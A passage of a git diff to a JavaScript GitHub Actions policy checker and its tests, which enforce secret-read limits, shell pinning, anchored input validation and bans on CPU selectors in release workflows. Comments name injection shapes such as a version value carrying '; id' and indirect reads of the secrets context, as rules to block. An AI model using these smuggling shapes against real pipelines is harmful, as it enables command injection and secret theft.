`${releaseFile} pre-publish closeout must require a decided non-claim outcome`, + ); + return violations; +} + function validateReleaseArtifactRerunSafety(workflows, violations) { const evidenceFile = releaseEvidenceWorkflowRef.slice( releaseEvidenceWorkflowRef.lastIndexOf("/") + 1, @@ -4200,13 +9784,17 @@ function validateReleaseArtifactRerunSafety(workflows, violations) { name: "release-evidence-${{ inputs.ref }}", path: "target/release-evidence", }], - ["packaged-platform-proof.yml/build/Upload hosted Linux calibration runs", { - name: "embedding-calibration-linux-${{ inputs.version }}", - path: "target/calibration-runs/linux", - }], ["packaged-platform-proof.yml/build/Upload release asset", { name: "codestory-cli-${{ matrix.asset_target }}", - path: "target/release-dist/*.tar.gz\ntarget/release-dist/*.zip\ntarget/release-dist/*.sha256\ntarget/release-dist/SHA256SUMS.txt\n", + path: "target/release-dist/codestory-cli-v${{ inputs.version }}-${{ matrix.asset_target }}.${{ matrix.extension }}\ntarget/release-dist/codestory-cli-v${{ inputs.version }}-${{ matrix.asset_target }}.${{ matrix.extension }}.sha256\ntarget/release-dist/SHA256SUMS.txt\n", + }], + ["packaged-platform-proof.yml/build/Upload exact candidate archive record", { + name: "codestory-candidate-archive-record-${{ matrix.asset_target }}", + path: "target/candidate-archive-record/${{ matrix.asset_target }}/candidate-archive-record.json", + }], + ["packaged-platform-proof.yml/build/Upload separate qualification driver", { + name: "codestory-qualification-driver-${{ matrix.asset_target }}", + path: "target/release-dist/qualification-driver/${{ matrix.asset_target }}", }], ["macos-metal-proof.yml/packaged-metal/Upload Metal calibration runs", { name: "embedding-calibration-macos-${{ inputs.version }}", @@ -4226,7 +9814,11 @@ function validateReleaseArtifactRerunSafety(workflows, violations) { const upload = object(step.with); const artifactName = String(upload.name ?? ""); const uploadKey = `${file}/${jobId}/${step.name ?? ""}`; - const attemptQualified = artifactName.includes("${{ github.run_attempt }}"); + const attemptQualified = artifactName.includes("${{ github.run_attempt }}") + || ( + uploadKey === "source-proof.yml/resolve/Upload executable release freeze receipt" + && artifactName === "${{ steps.receipt.outputs.artifact_name }}" + ); const expectedStable = replaceableStableIntermediates.get(uploadKey); const stableIntermediateMatches = expectedStable !== undefined && !observedStableIntermediates.has(uploadKey) @@ -4416,19 +10008,53 @@ export function validateCargoTestFilters( } } -export function validatePluginRelease(workflows, violations) { +// The only secret read the plugin lane is allowed is the marketplace app identity, and only in the +// step that mints the scoped token. Return a copy of the workflow with exactly that read removed, +// so whatever still names the secrets context afterwards is a read nobody sanctioned. Both the key +// and the expression must match exactly: swapping either value for a different secret leaves the +// mention in place rather than inheriting the exemption. +const MARKETPLACE_IDENTITY_READS = new Map([ + ["app-id", "${{ secrets.MARKETPLACE_APP_ID }}"], + ["private-key", "${{ secrets.MARKETPLACE_APP_PRIVATE_KEY }}"], +]); + +function withoutMarketplaceIdentity(workflow) { + const redacted = JSON.parse(JSON.stringify(workflow)); + const tokenStep = namedStep( + object(object(redacted.jobs)["marketplace-publish"]), + "Mint a scoped marketplace token", + ); + const inputs = object(tokenStep?.with); + for (const [key, expression] of MARKETPLACE_IDENTITY_READS) { + if (inputs[key] === expression) delete inputs[key]; + } + return redacted; +} + +export function validatePluginRelease(workflows, violations, graph) { const file = "plugin-release.yml"; const workflow = workflows.get(file); if (!workflow) { violations.push(`${file} must exist`); return; } + const pluginChain = object(object(at(graph, "workflow_policy", "plugin_chain")).dependencies); const scalars = scalarStrings(workflow); add(violations, hasExactKeys(object(workflow.on), ["workflow_call"]), `${file} must be callable only`); + // Nothing is built or signed on the plugin lane, so it declares no callable secret surface and + // its caller forwards none. The one credential it may read is the marketplace app identity, and + // only where the scoped token is minted. + // + // The rule stays a whole-workflow substring scan, no weaker than the blanket ban it replaces, + // because "secrets." is not the only way to reach the context: `toJSON(secrets)`, + // `secrets['NAME']`, a `secrets:` key, a secret smuggled through a bare array element, and + // `SECRETS.NAME` (contexts are case-insensitive) all name it without that substring. Instead of + // pattern-matching the smuggling shapes, redact the two permitted identity reads at their exact + // position and require the remainder to mention secrets nowhere at all. add( violations, - !JSON.stringify(workflow).includes("secrets"), - `${file} must not receive or forward secrets: nothing is built or signed on the plugin lane`, + !/secrets/iu.test(JSON.stringify(withoutMarketplaceIdentity(workflow))), + `${file} must not receive or forward secrets beyond the minted marketplace app identity: nothing is built or signed on the plugin lane`, ); walk(workflow, (key, value) => { if (/^APPLE_/u.test(key) || (typeof value === "string" && /\bAPPLE_[A-Z0-9_]+\b/u.test(value))) { @@ -4438,9 +10064,16 @@ export function validatePluginRelease(workflows, violations) { const jobs = object(workflow.jobs); add( violations, - hasExactKeys(jobs, ["workflow-policy", "preflight", "plugin-proof", "publish", "post-publish-smoke"]), - `${file} must keep its exact five-job plugin lane`, + hasExactKeys(jobs, ["workflow-policy", ...Object.keys(pluginChain)]), + `${file} must keep exactly the plugin lane the release claim graph declares`, ); + for (const [name, dependencies] of Object.entries(pluginChain)) { + add( + violations, + sameMembers(needs(object(jobs[name])), dependencies), + `${file} ${name} dependencies must match the release claim graph`, + ); + } for (const [name, job] of Object.entries(jobs)) { const permissions = object(job).permissions; add( @@ -4465,6 +10098,9 @@ export function validatePluginRelease(workflows, violations) { requireStepRun(violations, file, preflight, "Refuse a changed tool surface", [ "generated-mcp-catalog.json", ]); + requireStepRun(violations, file, object(jobs["plugin-proof"]), "Check the pinned provision proof", [ + "node --test scripts/tests/prove-plugin-pinned-provision.test.mjs", + ]); requireStepRun(violations, file, object(jobs["plugin-proof"]), "Provision the pinned CLI end to end", [ "scripts/prove-plugin-pinned-provision.mjs", ]); @@ -4473,14 +10109,75 @@ export function validatePluginRelease(workflows, violations) { ]); add( violations, - sameStrings(nonCommentLines(object(jobs.publish).needs === undefined ? "" : ""), []) || - JSON.stringify(object(jobs.publish).needs) === JSON.stringify(["preflight", "plugin-proof"]), - `${file} publish must wait on preflight and plugin proof`, + !scalars.some((value) => /cargo\s+(?:build|test)/u.test(value)), + `${file} must not build native code`, ); + + // The catalog a host installs from is only correct once it names this release, so the plugin + // lane owns the same publication step the native lane does. + const marketplacePublish = object(jobs["marketplace-publish"]); add( violations, - !scalars.some((value) => /cargo\s+(?:build|test)/u.test(value)), - `${file} must not build native code`, + marketplacePublish.environment === "marketplace-publish", + `${file} marketplace publication must hold its cross-repository credential in its own environment`, + ); + const tokenStep = namedStep(marketplacePublish, "Mint a scoped marketplace token"); + add( + violations, + String(tokenStep?.uses ?? "").startsWith("actions/create-github-app-token@") + && fullSha.test(String(tokenStep?.uses ?? "").split("@")[1] ?? "") + && object(tokenStep?.with).owner === "TheGreenCedar" + && object(tokenStep?.with).repositories === "AgentPluginMarketplace", + `${file} marketplace token must be a SHA-pinned app token scoped to the marketplace repository`, + ); + requireStepRun(violations, file, marketplacePublish, "Point the catalog at the published release", [ + "publish-marketplace-catalog.mjs", + '--version "$INPUT_VERSION"', + ]); + requireStepEnv(violations, file, marketplacePublish, "Point the catalog at the published release", { + INPUT_VERSION: "${{ inputs.version }}", + }); + // Same contract as the native lane: the catalog push is delivery after an irreversible tag, so + // it may not fail the release, and the run must record which state it ended in. + const catalogDelivery = object(at(graph, "workflow_policy", "catalog_delivery")); + violations.push(...catalogDeliveryOutcomeViolations(file, marketplacePublish, catalogDelivery)); + + // Preflight runs before the release exists, so a revision captured there names the *previous* + // release. Smoke must install from the revision this run published or it proves nothing. + const smoke = object(jobs["post-publish-smoke"]); + add( + violations, + object(preflight.outputs).marketplace_revision === undefined, + `${file} preflight must not capture a marketplace revision that predates publication`, + ); + const installStepName = "Prove the public marketplace install path"; + add( + violations, + object(namedStep(smoke, installStepName)?.env).MARKETPLACE_REVISION + === "${{ steps.delivery.outputs.marketplace_revision }}", + `${file} post-publish smoke must install from the marketplace revision this release published`, + ); + violations.push(...catalogDeliveryStateViolations( + file, + smoke, + catalogDelivery, + { + published: "${{ needs.marketplace-publish.outputs.catalog_published == 'true' }}", + revision: "${{ needs.marketplace-publish.outputs.marketplace_revision }}", + }, + installStepName, + "v${{ inputs.version }}", + )); + const smokeIf = String(smoke.if ?? ""); + add( + violations, + smokeIf.includes("always()") + && smokeIf.includes("needs.preflight.result == 'success'") + && smokeIf.includes("needs.publish.result == 'success'") + // Any reference at all, not just `.result`: an `outputs.catalog_published == 'true'` + // conjunct here is the same hard gate wearing a different name. + && !smokeIf.includes("needs.marketplace-publish"), + `${file} post-publish smoke must require a successful publish without gating on marketplace-publish in any form`, ); const auto = workflows.get("auto-release.yml"); @@ -4499,23 +10196,206 @@ export function validatePluginRelease(workflows, violations) { ); } +export function validateMarketplaceSync(workflows, violations) { + const file = "marketplace-sync.yml"; + const workflow = workflows.get(file); + if (!workflow) { + violations.push(`${file} must exist`); + return; + } + // Pinning the dispatch input names while leaving the trigger set open closes one door and + // leaves another: `workflow_call` carries its own inputs, which `on.workflow_dispatch.inputs` + // says nothing about, and a caller-supplied value would reach the same steps. + add( + violations, + hasExactKeys(object(workflow.on), ["workflow_dispatch"]), + `${file} must be reachable only by manual dispatch`, + ); + add( + violations, + hasExactKeys(at(workflow, "on", "workflow_dispatch", "inputs"), ["version", "commit"]), + `${file} must dispatch on exactly a version and a commit`, + ); + const job = requireJob(violations, file, workflow, "sync"); + const bindings = { + INPUT_COMMIT: "${{ inputs.commit }}", + INPUT_VERSION: "${{ inputs.version }}", + }; + const checkout = "Checkout the published commit"; + // GitHub serves the same dispatched value under a second name, `github.event.inputs.commit`, and + // the guard validates only what arrives as `inputs.commit`. The checkout already refuses the + // other spelling for its own `ref`; this refuses it everywhere in the file, including the job + // level, where a step's own binding check cannot see it. + add( + violations, + scalarStrings(workflow) + .flatMap(text => interpolatedDispatchInputs(text)) + .every(expression => Object.values(bindings).includes(expression)), + `${file} must name a dispatch input only as ${bindings.INPUT_COMMIT} or ${bindings.INPUT_VERSION}`, + ); + // The ban is a property of the file, not of one job. A second job added beside `sync` runs on a + // runner with the same repository token and the same marketplace environment, so a scan scoped + // to `jobs.sync` would exempt exactly the code an attacker would add. + for (const [jobName, rawJob] of Object.entries(object(workflow.jobs))) { + // `continue-on-error` is the same class of blind spot as `shell:`: it lives outside the script, + // so nothing the guard's own text asserts can see it, and it converts the guard's `exit 1` into + // advice. A job carrying it downgrades every step it contains at once. + add( + violations, + object(rawJob)["continue-on-error"] === undefined, + `${file} jobs.${jobName} must not declare continue-on-error, which would make its guards advisory`, + ); + for (const [index, rawStep] of list(object(rawJob).steps).entries()) { + const step = object(rawStep); + const where = `${file} jobs.${jobName}.steps.${index}`; + add( + violations, + step["continue-on-error"] === undefined, + `${where} must not declare continue-on-error, which would make its refusal advisory`, + ); + if (typeof step.run === "string") { + // Interpolation is textual and quoting does not stop command substitution, so a dispatched + // value spliced into script text executes on the runner -- here beside repository tokens. + add( + violations, + !step.run.includes("${{"), + `${where} must read dispatch inputs from env, not interpolated script text`, + ); + // A `run:` body is executed by the shell the step declares, so the script and its + // interpreter are one artifact. The guard's whole-value test is `[[ =~ ]]`, which POSIX + // shells do not have: under `shell: sh` the condition is a missing command, `set -e` does + // not fire inside an `if`, the refusal branch never runs, and the guard exits 0 on the very + // value it exists to reject. Nothing in the script's own text can see that, so the shell is + // pinned here. + add( + violations, + step.shell === "bash", + `${where} must declare shell: bash so its script runs under the shell it was reviewed under`, + ); + } + // `env:` is the sanctioned channel into a step. Every other scalar is an action input or + // script text, and an action can evaluate what it is handed -- `actions/github-script` runs + // its `script:` input. The checkout `ref` is the single exception: it is not an executable + // surface and is separately pinned below to the value the guard validated. That exemption is + // scoped to `sync`, the only job the guard runs in; a like-named step elsewhere is not covered + // by it and so is not exempt either. + const surfaces = { ...step }; + delete surfaces.env; + if (jobName === "sync" && step.name === checkout) { + surfaces.with = { ...object(step.with) }; + delete surfaces.with.ref; + } + add( + violations, + !scalarStrings(surfaces).some(text => interpolatedDispatchInputs(text).length > 0), + `${where} must not splice a dispatch input into an action input`, + ); + for (const [name, expected] of Object.entries(bindings)) { + // `$NAME` and `${NAME}` are the same read; gating on the bare form alone let a step consume + // `${INPUT_COMMIT}` with no binding at all. Checking the declaration too closes the other + // direction: a binding of the unvalidated `github.event.inputs` spelling is a violation + // whether or not this step is the one that reads it. + const consumed = typeof step.run === "string" + && new RegExp(`\\$\\{?${name}\\b`, "u").test(step.run); + const declared = Object.hasOwn(object(step.env), name); + if (!consumed && !declared) continue; + add( + violations, + object(step.env)[name] === expected, + `${where} must bind ${name} to ${expected}`, + ); + } + } + } + // Shape is proven before the checkout resolves the ref and before any marketplace token exists. + const guard = "Validate the dispatched release coordinates"; + // Each fragment pins an anchored regex together with the test that consumes it, so neither the + // closing anchor nor the comparison can go missing on its own. A prefix here would be satisfied + // by an unanchored rewrite that accepts `0.16.3; id`. + requireStepRun(violations, file, job, guard, [ + "commit_shape='^[0-9a-fA-F]{7,40}$'", + "version_shape='^[0-9]+\\.[0-9]+\\.[0-9]+(-[0-9A-Za-z.]+)?$'", + 'if [[ ! "$INPUT_COMMIT" =~ $commit_shape ]]; then', + 'if [[ ! "$INPUT_VERSION" =~ $version_shape ]]; then', + ]); + // grep anchors per line, so `printf | grep -Eq '^...$'` passes any value whose *first* line is + // well formed. The guard must match whole values; the digest keeps that property from being + // quietly traded back for a line-oriented test. + forbidStepRun(violations, file, job, guard, ["grep"]); + requireExactStepScript(violations, file, job, guard, marketplaceGuardDigest, "dispatch coordinate guard"); + add( + violations, + stepIndex(job, guard) === 0, + `${file} must validate the dispatched coordinates before any other step`, + ); + // Ordering only buys something if the guard covers what the next step consumes. Without this the + // checkout could resolve `github.ref` and the validated commit would gate nothing. + add( + violations, + object(object(namedStep(job, checkout)).with).ref === bindings.INPUT_COMMIT, + `${file} ${checkout} must resolve the validated ${bindings.INPUT_COMMIT}`, + ); + add( + violations, + stepIndex(job, checkout) > stepIndex(job, guard), + `${file} must validate the dispatched commit before checking it out`, + ); +} + export function validateWorkflows(workflows, graph = loadReleaseClaimGraph(repositoryRoot)) { const violations = []; + violations.push(...benchmarkDependencyIsolationViolations( + fs.readFileSync( + path.join(repositoryRoot, "crates", "codestory-bench", "Cargo.toml"), + "utf8", + ), + )); + violations.push(...retrievalGeneralizationSuitePolicyViolations( + fs.readFileSync( + path.join(repositoryRoot, retrievalGeneralizationSuiteFile), + "utf8", + ), + { + legacyWrapperPresent: + fs.existsSync(path.join(repositoryRoot, legacyRetrievalGeneralizationWrapper)) + || serializedRustRetrievalWrapperPresent(), + }, + )); + violations.push(...qualificationDriverArtifactViolations( + fs.readFileSync( + path.join( + repositoryRoot, + ".github", + "scripts", + "qualification-driver-artifact.mjs", + ), + "utf8", + ), + graph, + )); for (const [file, workflow] of workflows) { violations.push(...basicWorkflowViolations(file, workflow)); } + violations.push(...reusableWorkflowPermissionViolations(workflows)); validateCargoTestFilters(workflows, violations); - validatePluginRelease(workflows, violations); + validatePluginRelease(workflows, violations, graph); + validateMarketplaceSync(workflows, violations); validateLockedSetupSurfaces(violations); validateIssueWorkflows(workflows, violations); validatePluginAndDraftWorkflows(workflows, violations, graph); validateReleaseCoordinator(workflows, violations, graph); validatePackagedProof(workflows, violations, graph); - validatePostPublish(workflows, violations); + validatePostPublish(workflows, violations, graph); validatePackagedCoordinator(workflows, violations, graph); validateRemainingWorkflows(workflows, violations); + violations.push(...releaseProofCpuSelectorViolations(workflows, graph)); validateReleaseCellUploadOwnership(workflows, violations); validateReleaseArtifactRerunSafety(workflows, violations); + violations.push(...dispatchInputInterpolationViolations(workflows)); + violations.push(...shellDependentBindingViolations(workflows)); + violations.push(...absorbedFailureViolations(workflows)); + violations.push(...annotationScopeViolations(workflows)); + violations.push(...lostRunnerRecoveryViolations(workflows, graph)); violations.push(...releaseWorkflowContractViolations(workflows, graph)); return violations; } diff --git a/.github/scripts/check-workflow-policy.test.mjs b/.github/scripts/check-workflow-policy.test.mjs index 9a90cf48b..494567a4f 100644 --- a/.github/scripts/check-workflow-policy.test.mjs +++ b/.github/scripts/check-workflow-policy.test.mjs @@ -1,28 +1,59 @@ import assert from "node:assert/strict"; import { spawnSync } from "node:child_process"; -import { chmodSync, mkdtempSync, readFileSync, writeFileSync } from "node:fs"; +import { createHash } from "node:crypto"; +import { + chmodSync, + linkSync, + lstatSync, + mkdirSync, + mkdtempSync, + readFileSync, + rmSync, + writeFileSync, +} from "node:fs"; import os from "node:os"; import path from "node:path"; import test from "node:test"; import { fileURLToPath } from "node:url"; +import { loadReleaseClaimGraph } from "../../scripts/codestory-release-claims.mjs"; +import { + LOST_RUNNER_ANNOTATION, + MAXIMUM_RUN_ATTEMPTS, +} from "./lost-runner-recovery.mjs"; import { + absorbedFailureViolations, + annotationScopeViolations, basicWorkflowViolations, + benchmarkDependencyIsolationViolations, + dispatchInputInterpolationViolations, draftSourcePolicyViolations, draftWorkflowPolicyViolations, + interpolationSpans, loadWorkflows, + lostRunnerRecoveryViolations, macosCliDistributionViolations, notaryStepViolations, packagedPrSigningViolations, parseWorkflow, + qualificationDriverArtifactViolations, releaseEvidenceApprovalViolations, + releaseProofCpuSelectorViolations, releaseEvidenceWorkflowRef, + releaseFreezeBarrierWorkflowViolations, releaseWorkflowContractViolations, + retrievalGeneralizationSuitePolicyViolations, retrievalFile, retrievalProducerTriggerPolicyViolations, + rustRetrievalWrapperSourcePresent, + shellDependentBindingViolations, validateCargoTestFilters, validateWorkflows, windowsManifestProofPolicyViolations, } from "./check-workflow-policy.mjs"; +import { + produceQualificationDriverArtifact, + verifyQualificationDriverArtifact, +} from "./qualification-driver-artifact.mjs"; const fullSha = "0123456789abcdef0123456789abcdef01234567"; const proofTopology = "proof5-v1-64015a841a2f69f33f7c9ce284f671ad27b3923a58db865fd4806d86230df6c5"; @@ -49,6 +80,33 @@ function windowsManifestWorkflow() { return retrievalSourceWorkflow(); } +test("packaged qualification dependencies stay outside the benchmark graph", () => { + const source = readFileSync( + path.join(root, "crates", "codestory-bench", "Cargo.toml"), + "utf8", + ); + assert.deepEqual(benchmarkDependencyIsolationViolations(source), []); + + const runtimeDependency = + 'codestory-runtime = { workspace = true, features = ["benchmark-support"] }\n'; + const runtimeInProduct = source + .replace(runtimeDependency, "") + .replace("[dependencies]\n", `[dependencies]\n${runtimeDependency}`); + assert.match( + benchmarkDependencyIsolationViolations(runtimeInProduct).join("\n"), + /benchmark-only dependencies|must not enable benchmark-support/u, + ); + + const testSupportInProduct = source.replace( + "codestory-retrieval = { workspace = true }", + 'codestory-retrieval = { workspace = true, features = ["test-support"] }', + ); + assert.match( + benchmarkDependencyIsolationViolations(testSupportInProduct).join("\n"), + /must not enable benchmark-support or test-support/u, + ); +}); + function draftStep(job, name) { const matches = job.steps.filter(step => step.name === name); assert.equal(matches.length, 1, `expected one ${name} step`); @@ -123,6 +181,138 @@ ${run}`; }); } +const calibrationReleaseChecker = path.join( + root, + ".github/scripts/check-calibration-release-lineage.py", +); +const calibrationConstantSet = + "crates/codestory-llama-sys/per-user-embedding-server-constant-set.json"; +const calibrationGitEnvironment = { + ...process.env, + GIT_AUTHOR_NAME: "CodeStory Proof", + GIT_AUTHOR_EMAIL: "proof@codestory.invalid", + GIT_COMMITTER_NAME: "CodeStory Proof", + GIT_COMMITTER_EMAIL: "proof@codestory.invalid", + GIT_AUTHOR_DATE: "2026-01-01T00:00:00+00:00", + GIT_COMMITTER_DATE: "2026-01-01T00:00:00+00:00", + GIT_CONFIG_GLOBAL: os.devNull, + GIT_CONFIG_SYSTEM: os.devNull, +}; + +function calibrationGit(repository, ...gitArguments) { + const result = spawnSync( + "git", + ["-c", "commit.gpgsign=false", ...gitArguments], + { + cwd: repository, + encoding: "utf8", + env: calibrationGitEnvironment, + }, + ); + assert.equal( + result.status, + 0, + result.stderr || result.stdout || `git ${gitArguments.join(" ")} failed`, + ); + return result.stdout.trim(); +} + +function writeCalibrationFixture(repository, relative, contents) { + const target = path.join(repository, relative); + mkdirSync(path.dirname(target), { recursive: true }); + writeFileSync(target, contents); +} + +function commitCalibrationFixture(repository, message) { + calibrationGit(repository, "add", "-A"); + calibrationGit(repository, "commit", "--no-verify", "-q", "-m", message); + return { + commit: calibrationGit(repository, "rev-parse", "HEAD"), + tree: calibrationGit(repository, "rev-parse", "HEAD^{tree}"), + }; +} + +function runCalibrationReleaseCheck( + repository, + expectedSha, + { allowPromotionCommit = false } = {}, +) { + const argumentsList = [ + calibrationReleaseChecker, + "--repo", + repository, + "--expected-sha", + expectedSha, + ]; + if (allowPromotionCommit) { + argumentsList.push("--allow-promotion-commit"); + } + return spawnSync( + "python", + argumentsList, + { + cwd: root, + encoding: "utf8", + }, + ); +} + +const marketplaceGuardName = "Validate the dispatched release coordinates"; + +function marketplaceGuardStep() { + return draftStep(loadWorkflows().get("marketplace-sync.yml").jobs.sync, marketplaceGuardName); +} + +// Actions executes a `run:` body with the shell the step declares, so a harness that hardcodes +// bash measures a script the workflow may no longer run. Resolving the declared key here is what +// makes the refusals below evidence about the step as written: flip the workflow to `shell: sh` +// and this suite re-runs the guard under `sh`, where it stops refusing. +function marketplaceGuardShell(step) { + const declared = step.shell; + assert.equal( + typeof declared, + "string", + `${marketplaceGuardName} must declare its shell; the harness will not guess one`, + ); + const known = { bash: "bash", sh: "sh" }; + assert.ok( + Object.hasOwn(known, declared), + `${marketplaceGuardName} declares shell ${JSON.stringify(declared)}, which this harness cannot run`, + ); + return known[declared]; +} + +// The dispatched values arrive through the environment, so a value containing a newline stays one +// value instead of being re-split by the harness. Text assertions cannot tell an enforcing guard +// from a decorative one, so the guard is measured against the values it exists to refuse. +function spawnMarketplaceGuard(shell, run, environment) { + const executable = process.platform === "win32" ? "wsl.exe" : shell; + const args = process.platform === "win32" + ? ["--exec", shell.startsWith("/") ? shell : `/bin/${shell}`, "-c", run] + : ["-c", run]; + return { shell, ...spawnSync(executable, args, { + encoding: "utf8", + env: { ...process.env, ...environment }, + }) }; +} + +function runMarketplaceGuard(environment) { + const step = marketplaceGuardStep(); + return spawnMarketplaceGuard(marketplaceGuardShell(step), step.run, environment); +} + +// A POSIX shell that genuinely lacks `[[`. macOS ships `/bin/sh` as bash in POSIX mode, which +// still has it, so the candidate is probed rather than assumed. +function posixShellWithoutDoubleBracket() { + for (const candidate of ["dash", "/bin/dash", "sh", "/bin/sh"]) { + const usable = spawnSync(candidate, ["-c", "exit 0"], { encoding: "utf8" }); + if (usable.error !== undefined || usable.status !== 0) continue; + const probe = spawnSync(candidate, ["-c", "[[ 1 = 1 ]]"], { encoding: "utf8" }); + if (probe.status !== 0) return candidate; + } + return undefined; +} + function windowsManifestJob(workflow) { return workflow.jobs["windows-manifest-missing"]; } @@ -229,2099 +419,7234 @@ test("release evidence policy pins the release-only Axios v2 task and corpus", a } }); -test("release workflows retain the closeout coordinator contract test", () => { - assert.deepEqual(validateWorkflows(loadWorkflows()), []); - for (const [file, jobName] of [ - ["plugin-static.yml", "plugin-static"], - ["release.yml", "workflow-policy"], - ]) { - const workflows = loadWorkflows(); - const step = workflows.get(file).jobs[jobName].steps.find( - ({ name }) => name === "Check release claim and evidence contracts", - ); - step.run = step.run.replace("scripts/tests/codestory-release-closeout.test.mjs", ""); - assert.ok( - validateWorkflows(workflows).some((message) => - message.includes(file) - && message.includes("scripts/tests/codestory-release-closeout.test.mjs")), - ); - } -}); +test("every release-proof workflow rejects CPU selectors at every structural level", async (t) => { + const graph = loadReleaseClaimGraph(root); + const releaseProofFiles = [ + "auto-release.yml", + "packaged-platform-pr.yml", + ...new Set([ + ...graph.evidence_types.flatMap(({ proof_lanes: lanes }) => lanes), + ...graph.workflow_policy.artifact_workflows, + ...graph.workflow_policy.protected_jobs.map(({ workflow }) => workflow), + graph.workflow_policy.calibration.coordinator_workflow, + ...graph.workflow_policy.calibration.required_cells.map(({ workflow }) => workflow), + ...graph.workflow_policy.calibration.optional_cells.map(({ workflow }) => workflow), + graph.workflow_policy.qualification.coordinator_workflow, + ...graph.workflow_policy.qualification.required_cells.map(({ workflow }) => workflow), + ...graph.workflow_policy.qualification.optional_cells.map(({ workflow }) => workflow), + ].map(file => path.basename(file))), + ]; + assert.deepEqual(releaseProofCpuSelectorViolations(loadWorkflows(), graph), []); -test("workflow hygiene requires declared permissions and step-job timeouts", () => { - const valid = parseWorkflow(` -on: { workflow_dispatch: null } -permissions: { contents: read } -jobs: - work: - timeout-minutes: 5 - steps: - - run: echo ok - call: - uses: ./.github/workflows/other.yml -`); - assert.deepEqual(basicWorkflowViolations("fixture.yml", valid), []); + const mutations = [ + ["workflow environment", workflow => { + workflow.env = { ...workflow.env, CODESTORY_EMBED_ALLOW_CPU: "1" }; + }], + ["job environment", workflow => { + const job = Object.values(workflow.jobs)[0]; + job.env = { ...job.env, CODESTORY_EMBED_ALLOW_CPU: 1 }; + }], + ["step environment", workflow => { + const job = Object.values(workflow.jobs)[0]; + job.steps ??= [{ name: "Injected CPU selector", run: "true" }]; + job.steps[0].env = { + ...job.steps[0].env, + CODESTORY_EMBED_ALLOW_CPU: "1", + }; + }], + ["inline environment assignment", workflow => { + const job = Object.values(workflow.jobs)[0]; + job.steps ??= []; + job.steps.push({ + name: "Injected CPU selector", + run: "CODESTORY_EMBED_ALLOW_CPU=1 true", + }); + }], + ["inline arithmetic environment assignment", workflow => { + const job = Object.values(workflow.jobs)[0]; + job.steps ??= []; + job.steps.push({ + name: "Injected CPU selector", + run: "CODESTORY_EMBED_ALLOW_CPU=$((1)) true", + }); + }], + ["inline command-substitution environment assignment", workflow => { + const job = Object.values(workflow.jobs)[0]; + job.steps ??= []; + job.steps.push({ + name: "Injected CPU selector", + run: "CODESTORY_EMBED_ALLOW_CPU=$(printf 1) true", + }); + }], + ["indirect environment assignment", workflow => { + const job = Object.values(workflow.jobs)[0]; + job.steps ??= []; + job.steps.push({ + name: "Injected selector indirection", + run: 'selector=CODESTORY_EMBED_ALLOW_CPU; export "$selector=1"', + }); + }], + ["equal-form engine policy", workflow => { + const job = Object.values(workflow.jobs)[0]; + job.steps ??= []; + job.steps.push({ + name: "Injected CPU selector", + run: "codestory-proof --engine-policy=cpu_explicit", + }); + }], + ["shell-concatenated engine policy", workflow => { + const job = Object.values(workflow.jobs)[0]; + job.steps ??= []; + job.steps.push({ + name: "Injected CPU selector", + run: 'codestory-proof --engine-policy cpu_"explicit"', + }); + }], + ["spaced backend flag", workflow => { + const job = Object.values(workflow.jobs)[0]; + job.steps ??= []; + job.steps.push({ + name: "Injected CPU selector", + run: "codestory-proof --expected-backend CPU", + }); + }], + ["shell-concatenated backend flag", workflow => { + const job = Object.values(workflow.jobs)[0]; + job.steps ??= []; + job.steps.push({ + name: "Injected CPU selector", + run: 'codestory-proof --expected-backend "c"pu', + }); + }], + ["indirect backend arguments", workflow => { + const job = Object.values(workflow.jobs)[0]; + job.steps ??= []; + job.steps.push({ + name: "Injected backend indirection", + run: "backend_flag=--expected-backend; backend_value=cpu; codestory-proof \"$backend_flag\" \"$backend_value\"", + }); + }], + ["matrix semantic key", workflow => { + const job = Object.values(workflow.jobs)[0]; + job.strategy = { matrix: { include: [{ engine_policy: "cpu_explicit" }] } }; + }], + ["whitespace-wrapped matrix policy", workflow => { + const job = Object.values(workflow.jobs)[0]; + job.strategy = { matrix: { include: [{ engine_policy: " CPU_EXPLICIT " }] } }; + }], + ["whitespace-wrapped matrix backend", workflow => { + const job = Object.values(workflow.jobs)[0]; + job.strategy = { matrix: { include: [{ backend: " CPU " }] } }; + }], + ]; - const withoutPermissions = structuredClone(valid); - delete withoutPermissions.permissions; - assert.match( - basicWorkflowViolations("fixture.yml", withoutPermissions).join("\n"), - /must declare a top-level permissions block/u, - ); + for (const file of releaseProofFiles) { + for (const [shape, mutate] of mutations) { + await t.test(`${file}: ${shape}`, () => { + const workflows = loadWorkflows(); + mutate(workflows.get(file)); + assert.match( + releaseProofCpuSelectorViolations(workflows, graph).join("\n"), + new RegExp(`\\[cpu_selector\\] ${file.replaceAll(".", "\\.")}`, "u"), + ); + }); + } + } - const withoutTimeout = structuredClone(valid); - delete withoutTimeout.jobs.work["timeout-minutes"]; - assert.match( - basicWorkflowViolations("fixture.yml", withoutTimeout).join("\n"), - /jobs\.work must declare timeout-minutes/u, - ); -}); + await t.test("non-release source workflow cannot enable the product CPU selector", () => { + const workflows = loadWorkflows(); + workflows.get("rust-ci.yml").jobs["linux-draft"].env = { + CODESTORY_EMBED_ALLOW_CPU: "1", + }; + assert.match( + releaseProofCpuSelectorViolations(workflows, graph).join("\n"), + /\[cpu_selector\] rust-ci\.yml/u, + ); + }); + await t.test("release proof cannot use the CPU test seam", () => { + const workflows = loadWorkflows(); + workflows.get("macos-metal-proof.yml").jobs["packaged-metal"].env = { + CODESTORY_TEST_EMBED_ALLOW_CPU: "1", + }; + assert.match( + releaseProofCpuSelectorViolations(workflows, graph).join("\n"), + /\[cpu_test_seam\] macos-metal-proof\.yml/u, + ); + }); + await t.test("unrelated source job cannot claim the CPU test seam", () => { + const workflows = loadWorkflows(); + workflows.get("rust-ci.yml").jobs["linux-draft"].env = { + CODESTORY_TEST_EMBED_ALLOW_CPU: "1", + }; + assert.match( + releaseProofCpuSelectorViolations(workflows, graph).join("\n"), + /\[cpu_test_seam\] rust-ci\.yml/u, + ); + }); + await t.test("allowlisted source test cannot move the seam to a step", () => { + const workflows = loadWorkflows(); + const workflow = workflows.get("retrieval-engine-smoke.yml"); + delete workflow.jobs["linux-contracts"].env.CODESTORY_TEST_EMBED_ALLOW_CPU; + workflow.jobs["linux-contracts"].steps[0].env = { + CODESTORY_TEST_EMBED_ALLOW_CPU: "1", + }; + assert.match( + releaseProofCpuSelectorViolations(workflows, graph).join("\n"), + /\[cpu_test_seam\] retrieval-engine-smoke\.yml/u, + ); + }); -test("cargo test filters must select at least one real test", () => { - const identifiers = new Map([["demo-crate", "/unused"]]); - const known = new Set(["tests", "demo_tests", 